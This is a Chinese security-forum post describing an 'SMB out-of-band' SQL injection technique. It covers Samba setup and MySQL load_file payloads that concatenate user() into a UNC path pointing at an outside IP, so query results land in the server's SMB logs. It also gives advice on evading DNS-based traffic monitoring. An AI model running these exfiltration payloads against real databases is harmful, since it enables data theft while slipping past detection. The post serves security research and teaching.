安全矩阵

 找回密码
 立即注册
搜索
查看: 2380|回复: 0

SMB外带注入?

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-2 14:16:11 | 显示全部楼层 |阅读模式
原文链接:SMB外带注入?

0x01 前言
温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。
0x02 搭建测试环境
我使用的是CentOS7 ,直接
yum install samba

然后vi /etc/samba/smb.conf修改配置文件,找到security = user , 旧版本将user改为share,这里我用的新版本,需要在后面添加
map to guest = Bad User
日志记录级别调到10 ,level 0-10 ,调到最高便于记录:
log level =0
然后再配置一个test共享:
  1. [test]
  2.         comment = Public stuff
  3.         path = /usr/local/test
  4.         public = yes
  5.         browseable = yes
  6.         guest ok = yes
复制代码

保存后重启samba服务。
0x03 本地测试过程
找一台windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_prvi ,默认不允许load_file 。
我们在MySQL服务器上执行这样一条SQL语句:
select load_file('\\\\118.193.40.73\\smb_test\\1.txt');
在samba服务器上查看到了这样一条日志:
  1. smbd_smb2_tree_connect: couldn't find service smb_test
  2. [2021/06/26 21:40:05.263149,  3, pid=27801, effective(0, 0), real(0, 0), class=
复制代码

如果执行的共享目录存在于服务器上:select load_file('\\\\118.193.40.73\\test\\smb_test\\1.txt');
  1. check_reduced_name: check_reduced_name [smb_test.sym] [/usr/local/test]
  2. [2021/06/26 21:44:07.854561, 10, pid=28050, effective(65534, 65534), real(65534, 0),
复制代码

使用这两种方法都可以。我们选择第一种方法来查询一下user():select load_file(concat('\\\\118.193.40.73\\',user(),'\\1.txt'));smbd_smb2_tree_connect: couldn't find service root@localhost可以收到查询的内容了。经过测试,使用第一种方法查询时间为9.12秒,而第二种方法只需要1.93秒,相差还是挺大的,当然推荐第二种了。
有待改进之处:由于日志级别调到了最高,日志内容比较多,不便于查找,日志还需要进一步优化。不过,我们可以插入关键词进行匹配:
load_file(concat('\\\\118.193.40.73\\test\\[do9gy',user(),'do9gy]\\1.txt'))
经过优化后:
open_file_ntcreate: fname=[do9gyroot@localhostdo9gy].sym, dos_attrs=0x80 access_mask=0x120089 share_access=0x7 create_disposition = 0x1 create_options=0x40 unix mode=0744 oplock_request=256 private_flags = 0x0
这样就方便搜索多了(有点土耳其黑客的意思了)。
0x04 SMB、DNS对比
1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。
3. 二者都受限于windows系统以及MySQL 的secure_file_prvi 。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:45 , Processed in 0.013099 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表